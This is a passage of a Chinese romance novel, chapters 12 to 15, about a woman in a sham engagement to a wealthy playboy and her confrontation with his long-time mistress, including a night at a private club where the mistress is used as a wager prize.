“那么如果我告诉你,我们确实即将结婚,你要怎么自处?”她将护手霜塞回白浣的口袋,动作像是在扔一个用完的垃圾。
“你听到我们通电话,却没有来主动跟我摊牌,证明你是想默认我的存在的,对吗?”
昭玥觉得白浣聪明却行事温和,并且本质不坏,可这样的人怎么偏偏就要故意犯傻呢?
“白浣,同学一场,我有时真的看不懂你,以你的条件,幸福的途径必然多种多样且轻而易举,干嘛非在一棵树上吊死?”
“昭玥,你就当我自讨苦吃吧,”说着,白浣垂下眸子,“我其实都明白,对别人,他至多让人占一点钱财上的便宜,而对你,他可以毫不吝啬的给予人脉资源、托举你的事业,就像今天。因为在他眼中,你是与他并肩齐步的人,而我这种,只是他豢养的一只鸟雀,或是一朵正值花期的花,只有把玩观赏的作用。如果你真的强迫他二选一,我想他会毫不犹豫放弃我。”
“为什么要把选择的机会给别人?你才是你自己人生的主体。”
白浣不说话了,大抵她也无法自圆其说,可内心深处仍然渴望成为被选择的那个。
昭玥心软了,并非因为圣母心泛滥,而是因为本质上她们是同样的傻子,区别只在于白浣说出来了,而昭玥没有说、也永远不会说。
她还是多管闲事的将真相告诉了白浣:“我与他之间的婚姻只是个形式,所以你不必背上道德枷锁,但是这件事希望你能保密。”
说完昭玥便抬腿走人。
白浣在身后对昭玥说了一句“谢谢”。
听得昭玥心情复杂。
下午的活动两点才开始,昭玥用完餐打算回房间休息一会。
门刚关上就有人敲门,昭玥还以为是自己叫的客房服务,打开门,却见汪泽倚在门框上。
她下意识就去关门,汪泽一只手挡住,昭玥懒得跟他推扯,转身进去。
“这家酒店的隐私保护真不到位。”
“谁说我是跟酒店要的房间号?”
差点忘了,这次的活动都是他出的资,想知道自己花钱订的房间分别住了哪些人岂不是轻而易举。
“找我干嘛?”昭玥一屁股坐在房间的软椅上。
唯一一把椅子被昭玥占了,汪泽便在床边坐下,长手长腿的人,□□都显得有些小。
“周元辞让我告诉你,晚上一起吃饭,说是俱乐部开张,请我们去玩。”
“他还算有点良心,”转而昭玥又想起刚刚过道上听到的内容,“你晚上不是有人陪了吗?”
12. 赌局
汪泽抬眼,“什么意思?”
昭玥喝了口桌上的苏打水,“没什么意思。”
他懒得计较她在打什么哑谜,“下午我有别的工作,就不继续待在这儿了,晚上结束我来接你。”
昭玥说了句“知道”,然后眼睛瞟一眼他身后的门,逐客的意思不能太明显。
“苏昭玥,你今天似乎很不待见我。”他不悦的时候爱连名带姓喊她,
她仍只是抱着瓶苏打水喝。
见状,汪泽上前一步,将她手里的瓶子夺过去,过程中瓶里的水晃晃荡荡差点洒出来。
他另一只手撑在椅子扶手上,周身带一点压迫感,像是非要她给出个正面回答。
昭玥慢慢悠悠将眼神投向汪泽,他身上的烟灰色西装外套敞开着,里面的白衬衫有微小的褶皱,昭玥伸手将他衬衫前两粒扣子解开,这个人身上伪装的斯文感才消失一些——败类感多了一些,他合该是这副败类的样。
“我讨厌说话不算话的人。”她说。
“我什么时候说话不算话了?”
“你前不久刚答应过我,外面玩的游戏不让我看到听到。”
他思绪有些许停滞,而后反应过来:“你说白浣?”
昭玥伸出一根手指把面前的人推开,没否认,顺便将自己今日跟白浣说的那些话告诉他。
他却似乎一点也不感激她,“我以前怎么没发现你这么怜香惜玉?”
“你为了我都牺牲自己的婚姻了,我总得适当的为你着想一下,总不能让你折了夫人又赔兵。”
不知是不是错觉,昭玥觉得汪泽的表情冷了几分,对此他没说别的,只说,“今日就当是我思虑不周全,以后不会再让你面对这类事。”
而后他有些愤恨地伸手捏了捏昭玥的脸:“不过苏昭玥,也请你记住谁才是那个‘夫人’,别跟个大漏勺似的到处宣扬我们是假夫妻。”
白皙的脸蛋上留下一抹红印。
她把脸扭开。
昭玥揉一揉自己的脸,“白浣今天还跟我说了一句话。”
“什么?”
“她说,如果我强迫你在我和她之间二选一,你一定毫不犹豫放弃她。”
他似笑非笑地:“你想说什么?”
“我想说,希望你有点人性,如果真的喜欢她就多给她一点安全感,等我们这档子事结束之后给她一个未来,如果不喜欢……八年了,应该不至于不喜欢吧?”
“未来,”汪泽品味这两个字,表情晦涩不清,“我给了她这个错觉吗?”
不过昭玥倒是提醒了他,八年确实足够久了,久到该有一个结果,或是结束。
昭玥气笑,懒得跟他继续浪费口舌,抡着枕头拍打他的后背:“出去,我要睡午觉。”
于是汪泽一直被她推着出了房间,算是被赶出去。
昭玥躺了会,一时没了睡意。
满脑子都是大学时代教室第一排白浣低头记笔记的背影。专注是会给美丽增色的,对这样一个人动心是合情合理的事。可是命运就是如此玄妙,这样一个一心向上的人,竟会有一天被爱情冲昏头脑,失掉自我。
唯一还不算太悲惨的是,白浣的青春若是换算成金钱,大抵会是很可观的一笔,毕竟汪泽在这方面是个极其大方的人。
昭玥至今觉得亦舒那句话是至理名言——
要不很多爱,要不很多钱。
一样都不图的人肯定是傻到家了。
-
周元辞弄的私人俱乐部派头不小。
就是地方偏了点,在城郊买的地皮,车开了一个半小时才到地方。
远远瞧着,那地方像是一片小区,只不过遍地洋楼。
门口安保也很森严,不是提前录进去的车牌绝不放行,说是实行会员制,再怎么有钱,非得有点门路才能进这里。
车驶入地下停车场,每座洋楼有五层,配备电梯,一楼迎宾的女孩子个个顶漂亮,穿着小礼服,不逊于娱乐圈女星。
这里的每一片砖瓦都令昭玥想到“纸醉金迷”四个字,但也由衷觉得周元辞适合做这样的生意——见人说人话、见鬼说鬼话,像条握不住的滑头鱼在规则的边缘游走,没人比他更懂明哲保身的哲学。
“怎么样?小爷我是不是特牛?天知道我废了多大劲才说服我爹给我投钱。”周元辞大爷似的,嘴里叼烟、手臂展开、翘着二郎腿坐在包厢中间。
汪泽懒得理他,在旁边坐下,给自己倒了杯喝的。
包厢里光线暗得像阴曹地府,昭玥将最亮的那盏灯打开,只关心一个问题:“那我们以后来消费可以记你头上吗?周老板。”
闻言,汪泽弯弯唇。
周元辞跳脚:“笑个屁,你未婚妻一来就要骑我头上,你还不赶紧给她立规矩正家风?”
“不好意思,我们家家风是太太为大。”
“靠。”气得周元辞将没吸几口的烟一把戳灭。
昭玥嘚瑟地朝周元辞做鬼脸。
之后他们去台球室捣了几把球,中途昭玥歇了几场,只在一旁看,走神的时候,她似乎听到窗外隐隐的轰鸣声。
“外面在干嘛?”她问周元辞。
“一群小年轻在玩赛车呗,我是老了,对这种刺激性的项目提不起兴致。”
“可是天都黑了。”
“那咋了,”,周元辞笑得不怀好意,“大小姐,你不知道吗?天黑之后好玩的就更多了。”
汪泽用杵台球的棍子敲周元辞:“不该说的别说。”
周元辞翻了个大白眼:“她又不是未成年,老这么护着。”
昭玥站到窗边,除了轰鸣的声音,并不能看见车的影子,想来赛道蜿蜒曲折,又是夜晚,这场比赛根本不是为了给人看的。
“周元辞,我想去看看。”话说出来的瞬间,昭玥听见“啪嗒”一声,汪泽的球不慎打偏。
周元辞:“你确定?”
“别墨迹。”
他们去了赛场旁的观察室,电子屏上显示着比赛的实时状况,昭玥看见猛飙的时速,“大家都这么拼,赢了之后有什么奖励?”
周元辞含混不清地说:“赢了可以得到一串新的车牌编号。”
“车牌号不是车管所的事儿吗?”
“不是那个车牌。”
昭玥更不懂了,“那是哪个?你能不能说清楚。”
“俱乐部的每辆车都有一个编号,通常是固定的,但是有一串数字,只有当天赢的车才能用。”
“不过是一串编号,这么大吸引力?”
周元辞笑而不语。
昭玥忽然注意到,监
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控屏角落的高台上站着一位穿着清凉的女子,这样春寒料峭的天气,她只穿了件单薄的连衣裙,一抹白色在黑夜里像是投降的祭旗。
昭玥觉得这个人有点眼熟,莫名生出种不好的预感。
汪泽也发现了高台上站着人,“周元辞,她为什么会在那里?”
“因为我骗她,只要穿着俱乐部的衣服站那儿,并且赌对赢家,就能再见你一面。”
周元辞话刚说完,汪泽就转身出去。
昭玥终于认出高台上的女子是谁。
她白天明明还在酒店长廊的阳光下低眉浅笑,夜晚却在寒风中供人戏耍,昭玥皱眉问周元辞:“怎么回事?”
“我猜你肯定跟阿泽说了点什么?”
“我说什么了?”
“反正我只知道阿泽跟她的游戏结束了,好像就是今天提的。”
昭玥想起中午,她劝汪泽给白浣未来来着。
“所以呢?”
“很显然,没谈拢呗。”
监控里,男子将一件男式外套递给白浣,荒诞的比赛终于被叫停。
昭玥之后才知道,那串供人争夺的编号是四百一十九。
“周元辞,你这是犯罪。”
“得了,我又不会真让她陪客人,就是吓吓她。”
“吓她做什么?”
“让她看清楚,她和阿泽的世界,有多楚河汉界。”
昭玥正消化着这些信息,周元辞冷不丁对着监控骂了句脏话,把她吓一跳,“你一惊一乍的干嘛?”
“丫的,他拿的是我的外套。”
昭玥回头瞥了一眼,门后衣架上,周元辞的外套确实不翼而飞。
回去台球室的路上,正巧碰到白浣低着头跟在汪泽身后,像只差点掉进风眼的鸟,羽毛乱糟糟。
汪泽把人交给一个女生服务员后便打算一走了之,偏偏昭玥看到白浣一双水露露的目光正投向自己。
于是跟汪泽说:“让她跟我去休息室吹会儿暖气吧。”
周元辞看她跟看神经病似的。
汪泽没说什么,只以为她是在顾忌昔日的同学情谊,头也没回,跟周元辞继续玩球去了。
昭玥去将室内温度又调高了些。
“我是不是特可笑?”
“可不可笑都是你自己的选择,旁人没资格多说。”
“他今天跟我说了结束,我不明白,八年了,他怎么这么轻易就能抽身呢?昭玥,你跟他关系好,能不能帮我劝劝……”
“不能,”昭玥盯着这张楚楚可怜的的脸,“白浣你清醒点,没必要这么卑微,这世界上男人多了去了,何况你也知道,他就那样,对感情从来不会认真。”
“可我是唯一一个在他身边八年的人。”
“那又怎样?这八年他只有你一个女人吗?他给你承诺过未来吗?他有一次把你带出来介绍给我们这些朋友认识吗?你以为的特殊不过是个错觉。”
听到这些,白浣似乎终于泄了气,头埋在沙发抱枕里大哭一场。
昭玥静静听着她哭,干木调香薰在这样的温度中更快扩散。
曾让昭玥有点嫉妒的“八年”最终不过黄粱一梦,明明克己是美德,偏偏她们要放任自己去爱这样一个残酷的人。
人生真是毫无道理可讲。
13. 至情
昭玥特地叫自己的司机送白浣回去,离开之前她提醒白浣以后再也不要到这里来,醉生梦死的销金窟,玩的都是她吃不消的游戏。
她不会每一次都这么幸运,恰巧遇到救她的人。
白浣点点头,也不知有没有将她的话听进去,苍白的脸最后一次看了眼五楼的灯光。
坐进车厢。
昭玥目送渐渐远去的车辆,忽感晚风凛冽,刚刚下楼时她忘了拿外套。
但却一点都不想进去。
里头的暖气吹得人头脑昏沉,冷一些可以叫头脑清醒。
院中的泉水从石塑中喷涌,偌大的院子除了水流声一点噪音也无,她双目空空,像一尊空洞的蜡像。
随后一件男士外套披在她肩头,夏露的味道驱散一些春寒。
昭玥转过头。
汪泽与她并肩而立,他的外套此刻在她的身上。
“怎么一个人在这吹冷风?”他问。
“白浣刚走。”
“嗯,那现在上去?”
他又是一副事不关己的样子,虽然汪泽不在昭玥面前谈论其他女人是一直以来的习惯,但对于白浣,昭玥知道,他的沉默代表结束。
他总这么不近人情,而阻止今晚这场赌局,是最后一点情分。
昭玥问了个不该问的问题:“汪泽,如果有一天我家出事,我被迫站上那个高台,你会救我吗?”
“这个问题不成立。”
“只是假如。”
他有些无奈她的脑回路:“还用问吗?当然救。”
“也扔一件别人的外套?”
昭玥没有立即听到汪泽的回答,他专注地点燃一根烟,看不出是在思考或是放空。
那根烟慢慢燃尽,她本以为这个问题会是一根掉进深井的枯草。
昭玥失掉耐心打算上楼的时候,听见他在她背后回答——
“有我在,永远没人敢那么对你。虽然在你眼里我是个混蛋,但有一点你不能否认——
“昭玥,从小到大,我一直都很爱护你。”
爱护。
有些词语就是如此玄妙,让人既想误会爱护属于爱的一种,又让人理智上明白那不是。
她的长发压在他给的外套衣领里,被脖颈的体温慢慢焐热,如同身体某处跳动的器官感知到的暖流。
昭玥在夜风中低笑一声。
其实她应该知足的,起码对待自己,他已经极尽偏心与真挚。
昭玥不切实际地想,如若他与她一样,也相信至情无文就好了。
再上楼的时候,包厢里多了很多其他人,都是一个圈子里的,昭玥与这些人或多或少打过照面。
这样的局他们这些人三天两头搞一次,昭玥基本不参加,今日是看在周元辞的面子上才来的,毕竟一个不学无术的人难得想做点正事。
她在场,他们说话与游戏都默契的收敛许多,至多只是搂着女伴出门,在她看不见的地方做想做的事。
周元辞今日情绪上头,一个劲的与人拼酒,喝的时候不忘给怀里的人也喂一口。
昭玥木讷地旁观,心里毫无波澜,她早就习惯他这不着调的个性。
汪泽今日身旁倒是空荡荡,期间有人主动搭讪也被他婉拒。
大概因为今日昭玥在,即便是假结婚,在外也要顾忌几分她的面子。
毕竟他们这个圈子的闲话传播速度不容小觑。
昭玥起身将自己朝汪泽挪近一点,鞋子踢踢他的,示意有话跟他说,汪泽耳朵贴过来。
“我想回去了。”
他没什么犹豫的准备起身与她一同离开,被昭玥拉住,“我自己走,你玩会儿吧。”
而后她又环顾了一下四周,“今天在场的没什么大嘴巴,真惹出什么流言也好处理。”
她全然一副贴心太太的模样,说完挎着背包起身,动作洒脱利落。
昭玥跟包厢里的朋友摆摆手便作道别,厚重的包厢门隔绝满屋子的烟酒气味,她低着头朝电梯的方向走,开始困顿。
从早上到现在,她的电量快要耗尽了。
汪泽坐在沙发上没有动弹,她离开的背影叫他想到许多年前南城的冬天,他去看她,明明难得相见,机场告别时她却也是这样,头也不回。
决绝的背影从不因任何留恋。
周元辞瞥到他对着门框出神,“汪少爷魂被勾走了?”
“少说风凉话。”
“多好笑啊,有些人想浪子回头,却被未婚妻把头又摁了回去。”
对于周元辞的得寸进尺,汪泽冷冷望过去:“我还没跟你算账呢,你今晚把白浣弄过来想干什么?”
“怎么,金屋藏娇那么多年,让我们这些朋友见见不行吗?”
他烦躁地放下酒杯,“有什么好见的?”
周元辞起了兴致:“说老实话,如果昭玥没遇到这档子事儿,阿泽,你会娶谁?白浣在你的选项里吗?”
汪泽靠在沙发上一动不动,“怎么可能?”
“那你让她跟在你身边这么多年?”
“三个月怎样,三年又怎样?游戏的长短而已。男女之间,两厢情愿,各取所需,很难理解吗?”
怎么今天他们都要在他面前强调“时间长度”?昭玥问他,周元辞也要问。
周元辞吐出一个烟圈,“一点真情都没有?”
汪泽思考了会,仍旧漫不经心:“或许有点儿,可以忽略不计那种。”
“看你还是这么混蛋我就放心了。”
汪泽又喝了点,将指间未燃尽的烟按灭,起身要走。
玩游戏太需要兴致,不知怎的,最近他常常觉得兴致缺缺。
“这么早就走了?”
汪泽懒得回头瞧周元辞搂着女人缠绵悱恻的样子,“困了,回家睡觉。”
周元辞心想,这货看来真要从良。
司机将汪泽送至常住的那套公寓,经过大门入口时,汪泽再一次看见了那抹白裙身影。
保安亭旁边,白浣一动不动站着,凌乱的发像只落难的猫。
他微不可闻的皱眉,让司机停了车。
却没下车,只在车中坐着。
车窗缓缓降落,春寒入骨,扑面的风叫他的困倦消散几分。
晚风之中,大衣衣领处残留的绵软香气愈加明显,低头的时候,这股香丝丝缕缕的往鼻子里钻。
他的脑海里浮现一小时前某人裹着他外套,
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将半张脸埋进衣领的画面。她低头用他的衣服躲避风时,像是在自然而然地亲吻谁,她的侧脸总是专注的,心无旁骛的,叫人忍不住一看再看。
而此刻,白浣走过来,一双眼晨露般湿润。
她也很美——他身边停留过的每一个女人都各有各的美。
然美则美矣。
他知道,用这种审判的目光看向她们是一件不礼貌的事,但那又怎样?他原本就是个人渣,欣赏花朵是兽性的本能,他永远做不到只钟情其中一朵。
给很多钱几乎是他能想出的,唯一一种最体面的抽身方式。
只是偶尔会遇到问他要真心的。
白浣望向他:“阿泽。”
“还有事?”
“我那里有一些你的东西,你什么时候去拿?”很蹩脚的理由,但白浣知道他不会戳破,汪泽这个人,越体面的时候越无情。
沉默片刻。
“白浣,”他很少叫她的名字,听得她愣了一瞬。
他接着说:“我想我欠你一声道歉。对不起,让你浪费这么多年并非我本意,只是没想到时间跟水似的,就这么流过去了。如果你那里有我的什么东西,不必放在心上,直接扔掉。”
汪泽用一种相对柔和的语气阐述这个冰冷的原因:“因为真正珍贵的东西,我不会放在你那里。”
“你突然说结束,是因为你要结婚了对吗?没关系的阿泽,我问过昭玥了,她不介意的。”白浣开始有些失态,“珍贵”这两个字刺伤了她,显然,昭玥的那些忠告她并不能立刻吸收照做。
割舍,太痛苦了。
汪泽没有继续接茬,如果不是今日昭玥看向他的眼神里透着太多鄙夷,以他一贯的行事方式是不会在结束的时候与对方说这么多话的,有些东西点到为止。
车窗升到一半,被白浣用手挡住:“阿泽,我们还会再见吗?”
他继续沉默片刻,“白浣,回南城去吧,我会让人打点好一切,下半辈子你不会为钱烦恼,这是我唯一能为你做的。”
“南城有什么好?”
面对白浣的问题,汪泽只是将车窗彻底合上。
是啊,南城没什么好的,那么远,见一面像是翻山越岭。
可为什么有人总是怀念那里的日子?
汪泽一直是个少梦的人,可那一晚,他做了一整晚的梦。
梦里全是疾驰而过的车窗,高速公路像是没有尽头,他一直开一直开,只为奔赴某个陌生的城市。
只有在梦境里,他才能准许自己勇往直前的去与她的人生交错。
后来惊醒,天还没亮起来,睡意却全然消散。
露天阳台上,他轻轻转动中指上那枚订婚戒指,出神。
究竟是因为不愿明珠蒙尘,还是因为心底那点可耻的私心,已经说不清,他也不愿去想那么清楚。
他或许不够懂她,在许许多多的事情上无法理解她,譬如当初的高考志愿,譬如她毕业那年想偷偷拿户口本去结婚,在他看来都有种不知所谓的疯狂。
可无论如何,他都无法任由她滑入某个不幸的深渊,自己却袖手旁观。
他已见识过祖母和母亲的不幸,决不能让昭玥成为下一个。
14. 裂源
邱晓霜的音乐会在晚上七点开场,那天下了好大一场雨。
惊雷伴着春雨,校园里的猫被吓得缩在楼梯拐角。
昭玥的羊皮鞋底又要遭殃了。
这么想着,下课的铃声响起,今天的最后一节课五点二十结束,正是雨最大的时候。
昭玥合上电脑、收拾好包,跟在一群学生的后面从教室出来。
手机显示十分钟前收到一条汪泽的信息:「我在求知楼一层等你。」
她上课的这栋楼就是求知楼。
到一层的时候没瞧见他人,昭玥正准备回个信息问问他在哪,就见到人影穿梭的长廊上,男人手持一把收起的伞,正对着某个举着手机的女学生说些什么。
他可真是到哪都受欢迎。
只是汪泽今日反应与往日不同,他笑得礼貌疏离,似是沾染几分这场雨的寒凉。他指指手上的戒指,拒绝得委婉,随即学生便熄灭屏幕上的码,不做纠缠。
女生走后,昭玥才慢慢走近。
“你的学生都这么勇猛?”
她反问:“这么个美好的年纪,遇见中意的难得不该勇猛?”
室内外温度悬殊,汪泽将她搁在腕上的披肩抖开,给她披上。
“你这个年纪的时候,也勇猛吗?”
“这个年纪”的苏昭玥,是他唯独没有好好见识过的。
昭玥不直视汪泽的眼睛。
他们这段关系裂缝的裂源,她从不轻易触碰。
汪泽没有刨根究底,自然的接过她手里的公文包,让她方便把披肩整理好。
昭玥愈发觉得这场雨就如书里说的,下得像流浪狗。
“汪泽,我们怎么老在下雨的时候见面?”她想起上次下雨是在咖啡店,遇见朱然那次,也是他来接她。
汪泽将黑伞撑开,又开始口若悬河:“大概我们注定要共担风雨。”
阴沉天色下,昭玥被哄得发笑。这一生几多风雨,他们都可以共担?
在踏进雨里前,昭玥拽住他的衣袖,“汪泽,今天能不能别让我的鞋底遭殃?”
他站在廊檐外,回头挑眉看她,忍不住轻笑,随即弯下腰,背对她:“上来。”
他极少驳她要求。
从发觉自己对汪泽的心思开始,昭玥一直以来都竭力避免与他产生肢体接触,今天这是成年以来两人离得最近的一次。
汪泽把伞交由昭玥拿着,公文包仍挎在他手中,昭玥趴在他背上,呼吸忽的有些乱。
她可以骗过所有人她心如磐石,但是心跳的频率骗不过自己。
昭玥搂住汪泽的脖子,下巴搁在他的肩上,羊毛质地的大衣外套很柔软,只是沾上了雨水,有些冰凉。她却紧紧贴住,似是要把潮湿焐干。
“所以你上次为什么要让你的鞋底遭殃?”
“因为今天这双鞋我实在喜欢。”
汪泽闻言低头瞅了眼,不过是一双特别普通的短靴,“有什么特别的?”
“穿着舒服。”
昭玥有太多不合脚的鞋。
汪泽没问,不知他算不算其中之一。
十分钟后,到停车的地方,他十分负责的一直将她放到副驾座上。
昭玥调皮地说:“谢谢汪师傅。”
闻言,汪泽:“那么这位太太不打算给点小费?”
“看来汪师傅没什么眼力见,居然叫小姑娘‘太太’?你的小费没了。”
“真是对不起,”汪泽一昧地笑,“忘了你还未成年。”
昭玥对此很受用。
“所以这位未成年的小姑娘,晚餐想吃什么?”
昭玥将脚悬在车门外,想了想:“张记的牛肉面。”
“难得请你吃饭,不宰我一顿?”
“你又不是周元辞。”
“说的也是。”汪泽一手抬起昭玥腿弯,将她整个身体推向车内,关上副驾的门。
张记就在贤礼中学附近,高中的时候,他们三个中午常常来吃这家。味道倒是说不上卓绝,大概因为是饥肠辘辘的午间,任何食物都变得更美味些。
张记的生意不减当年,正是晚饭点,许多贤礼的学生来这吃饭。蓝白色校衫改版过,看着比从前他们穿的质感好。
进去时正好有一桌空出来。
汪泽抽了些纸巾将桌椅擦了几遍才叫昭玥坐,他们点了两碗牛肉面,餐好后需要自己去出餐口取。
昭玥负责去消毒柜拿筷子汤匙,汪泽负责将面端过来。
他照例将碗里的牛肉尽数夹给她,他从小就不吃牛肉。
昭玥等着他动作,念念叨叨:“搞不懂你,不吃牛肉干嘛要点牛肉面?”
“我就喜欢吃没有牛肉的牛肉面,不行?”
“行,当然行。要是您也喜欢没草莓的草莓蛋糕,没珍珠的珍珠奶茶就更好了。”干脆都进她的肚子。
“你想得比你长得还美。”
桌子底下,昭玥伸腿踩他一下以示不满,汪泽的回击则是双腿夹住她的脚踝,令她动弹不得。
“再磨蹭,我们真要迟到了。”
她这才不跟他闹。
“等会去商场一趟,你在车里等我,我买双鞋。”
“做什么?”
“雨一直下,地还不知道什么时候干,总不能一直让你背着。”
“怎么不能?”
头顶的白炽灯有些晃眼,昭玥自顾自拨弄碗里的面条,心想他体贴至此,黄尘清水,叫人无故萌生错觉。
昭玥这次没有跟他犟,她难得准允自己做一次梦。
很巧,那晚的第一曲,邱晓霜选的是《Sometimeswhenitrains》。
大提琴沉厚的声音描摹出这场雨的湿度,叫人几乎闻到雨腥味。
整场演出叫人感动,虽不至于掉眼泪,但也称得上心潮澎湃,结束时昭玥在位子上缓了一会儿平复心情,她理解了邱晓霜的音乐会卖座的缘由。
转头,身旁的人却面色平静地问她:“好点没?”
小时候钢琴老师常常夸汪泽有天赋,而她这个没那么有天赋的看上去却比他更容易被音乐打动。
昭玥突然想起来问他:“汪泽,你喜欢弹钢琴吗?”
似是惊讶她问这个问题,他顿了顿,“不喜欢。”
“那你小时候还选钢琴课?”
汪泽瞧着她,露出一种“你说呢”的无奈,不说话了。
昭玥立刻明白他的意思。
还能是为什么,她上钢琴课是被张女士逼迫,而他不过是为了陪她。
昭玥收回目光,庸常之中的一丝不朽比悦耳的音乐更迷惑人,她提醒自己不能为此沉沦。
她起身往后台走,他们现在该去给邱晓霜送一束花,祝贺她音乐会圆满落幕。
后台人不算少,邱晓霜忙于应对这些观众,合照、签名,她没什么架子,几乎有求必
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应。
好不容易抽出时间与昭玥他们打招呼,简短的寒暄后邱晓霜邀他们参加Afterparty。
汪泽知道她不喜欢这类场合,找了个理由婉拒了,邱晓霜没有强留他们。
走出音乐厅后发现雨停了,地仍是湿的。
汪泽背对她蹲下,照旧背她去停车场。
走至一半的时候他的手机有电话进来,汪泽腾不出手,叫昭玥帮他从大衣口袋里把手机拿出来。
她摸摸找找半天也没找到东西,于是试图将手伸得更长些,汪泽身影一僵,停下脚步:“苏昭玥,别乱摸,在左边的口袋。”
“哦。”
她乱摸了吗?
来电人是汪泽的助理,上次给她送平底鞋的那位长腿美人。
汪泽让昭玥按下免提键。
下一秒,助理用沉稳的语气向他报告一个突发事件——
“老板,白小姐一小时前在去机场的路上遭遇了车祸,小腿骨折,目前人在明德医院接受治疗。”
晚风渗过指间,令昭玥四肢冰凉,握手机的力度更大几分,然只是沉默的用力。
汪泽微微侧目,试图察寻背后的人是何表情,然而除了耳边的风他什么也感觉不到。
几秒后,他吩咐电话里的人:“知道了,人交给你照顾。”
没再说别的,电话断了。
昭玥将手机重新放进汪泽的口袋。
他总是这样,可以轻而易举叫火焰燃起,也能一瞬将之浇灭。
她吸了吸湿润的空气,下一刻,牙重重咬在男人的后颈,很快便一口血腥。
汪泽一时吃痛,却没有阻止,只是低垂着头等她停。
她更恼火了,一团怒火锤进棉花里。
“汪泽,我说过,不想听见你那些破事儿。”
“我的错。”
“可是你永远都不改。”
“我发誓,这是个意外。”
“你总有说辞。”她愤恨的。
“苏昭玥。”
她不理他。
见她没有回应,汪泽忽的将她掉了个个。摆弄她就跟摆弄玩具似的,把人翻到前面抱着,两人面对面,她的大腿下意识夹住他的腰。
昭玥一脸惊恐。
这个姿势……太羞耻。
“你搞什么?”她惊叫出声,试图挣脱。
然而男女之间力量悬殊,从前她能占到便宜不过仗着他忍让。
此刻汪泽将她的双腿死死桎梏在腰间。
“回答我一个问题就放开你。”他与她商量。
昭玥不动了,暂且听他问什么。
“你本来就知道我不是好人,可为什么还这么生气?”
昭玥低眸垂视他。
“汪泽,我厌恶你事不关己高高挂起的样子。”
听到这话,他的眸色渐冷。
“难道她们动心了我就得有所回应?”
“根源不在于她们动心,而在于你‘让’她们动心了。”
“好,总归是我的错。”他将她梏得更紧。
昭玥不想跟他吵,却又逃脱不开,汪泽没有任何将她放下的意思。
而此刻这个动作,叫她荒谬地联想到爱情电影里的男女主角——
一面恨,一面做。
“混蛋。”她闷闷出声。
“难得对你混蛋一次。”
他的呼吸热极,喷在她脖根。
15. 迷眼
昭玥就这么被抱到车上。
如他所说,他难得对她混蛋一次,可昭玥却感觉快要招架不住。
她没有再跟汪泽吵,被放下的时候冷风灌堂,昭玥伸腿踹他,好像只有这样用力才能出点气。
他的黑色西裤上立刻留下一个鞋印,不给他反应的时间,昭玥推开他就把副驾的门关上。
而后把车门落锁,将汪泽隔绝在车外。
刚刚伸腿踢他的时候昭玥偷偷从他口袋里顺来了钥匙。
汪泽透过副驾的窗瞧她,没有气恼,只无可奈何地叹气:她惯会想这种损招。
却也没想法子解开门锁,就这么站着,身影修长笔直,像是路边驻立的灯。
昭玥没打算把他丢在这,雨不知什么时候就又会下,但她这会还不想原谅他,能拖一会是一会。
两人就此僵持住。
为了叫她消气,汪泽稍稍走开了几步,在距离车两米开外的地方擦燃了打火机,却迟迟没有去点指间夹着的烟,似是在犹豫要不要抽。
昭玥将车窗开出一条缝隙,婆娑树影叫这个夜晚显出几分凉薄。
不知从什么时候开始,他们之间隐含一道绳结。
汪泽终究点燃了手中的烟,烟雾在冷掉的空气中弥散,风似乎大了些。瞧着他的背影,昭玥莫名联想到风浪翻涌的海岸。
不知他此刻的愁思是否关于医院躺着的那个人。
昭玥将车窗全部降下。
“汪泽。”
听见她叫他,汪泽转过身。
“你该去看看她。”
他面无表情与她对视,等她下文。
昭玥继续将心里话不管不顾说出来:“你不知道,在没遇见你之前白浣是个多奋发向上的女孩子,那时候我们班和他们班一起上大课,下课的时候常常有人给她递情书,但她从来没被这些事影响,期末考专业课总是年级前三。她优秀、努力,性格也好,我们都以为她将来会是个事业型的女性。”
昭玥眼睛颤了颤,“可最终她放弃在南城创业积攒的成绩,来到了这里。即便你给她安排的工作千好万好,赠与她无数金钱、礼物,但她远不该只是酒店的普通职员,更不该是你养的一只鸟雀。”
“这么说,你觉得我耽误她实现人生价值?”
“是。”
汪泽轻蔑地吐出一口烟圈,“昭玥,你不能把所有锅都让我背。”
“我明白,路是她自己选的,可是你知道吗?”昭玥并不看他,“汪泽,你是一个多么容易令人迷眼的选项。”
叫人一往无前,也叫人一错再错。
“是吗?”汪泽戳灭烟头,丢进垃圾桶,轻飘飘反问了句:“那怎么没叫你迷了眼?”
她终于转头望他,却木人石心般,只是静默。
只敢在心中暗自道:他怎么知道她没有被迷了眼呢?
“咔嚓”一声,车门解了锁。
不是昭玥,汪泽的手机一直有解锁的功能。
他就是这样,乐意跟你玩的时候怎么都会迁就,而耐心耗尽的时候便立刻令一切结束。
“苏昭玥,是不是只要有关那座城市的东西,都值得你维护一番?”
她不明白他怎么得出的这个结论,“我只是就事论事。”
雨又开始下了,风势稍杀。
汽车引擎似是只发怒的狮子。
他们都没再说话。
-
昭玥不知道汪泽后来有没有去看白浣,两人都没有再提及这事儿。
她后来反思了一下,是自己越了界。
理想的白马是骑不得的。
她与汪泽整整一周没有联络,连试婚纱都是昭玥自己去的,她压根没告诉他,总觉得叫他看着她一套套的换造型有点奇怪,这段形式婚姻不能再继续积这类恶习。
昭玥将试过的衣服一件件拍照,发到大学的宿舍群里,问她们哪件好看。
许久沉寂的群聊活跃起来,纷纷惊讶她居然要结婚了。
昭玥这么个柔水钢刀的性格,娶她的会是个什么样的人呢?大家都还挺好奇的。
但是她们都默契的没有问,相处四年,都大概知道昭玥出生在怎样一个圈层,结婚对象必然起码是门当户对的。
向晓:「婚礼什么时候啊?我得提前请假。」
李素雅、庄珂珂:「+1。」
昭玥:「6月1号。」
向晓:「儿童节?怎么,你先生是要把你当小朋友宠呀?」
昭玥不理向晓的调笑,「所以到底哪套好看?」
李素雅:「昭玥美人披麻袋都漂亮!」
庄珂珂倒是认认真真给出意见:「第一套款式虽然重工,但不衬人,第二套和第五套虽然款式简洁,但各有各的惊艳之处,尤其是第二套,你穿着有世纪美人那味,所以——我选这两套。」
向晓:「完全同意!」
李素雅:「+1!」
迎宾与主纱算是落定。
之后昭玥将跟设计师约的手绘婚礼请柬电子版分别发给她们几个,异口同声回复昭玥“一定到场”。
庄珂珂另外发了条微信给昭玥:「玥玥,有件事我想了想,还是该跟你说一声。」
「什么事?」
「前段时间钟文景回国,问我要过你的联系方式,但是我没给。」
许久未听到这个名字,昭玥愣神片刻,而后冷静地打字:「好,我知道了。你做的对。」
「我感觉……他还念着旧情。」
